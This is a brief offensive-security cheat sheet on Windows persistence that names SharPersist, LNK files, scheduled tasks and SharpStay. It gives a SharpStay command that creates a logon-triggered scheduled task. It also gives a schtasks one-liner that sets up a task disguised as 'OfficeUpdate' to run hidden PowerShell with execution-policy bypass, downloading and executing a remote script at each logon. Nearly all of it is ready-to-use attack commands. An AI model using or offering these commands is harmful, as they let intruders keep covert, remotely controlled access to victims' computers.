Persistence
Sharpersistâ
LNKâ
Scheduled tasksâ
SharpStayâ
UserLand
SharpStay.exe action=ScheduledTask taskname=<task_name> command="<C:\<...>\<persist.exe>" runasuser=<username> triggertype=logon author=<username> description="<task description>" logonuser=<username>
schtasks /create /tn OfficeUpdate /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''<url>''))'" /sc onlogon /f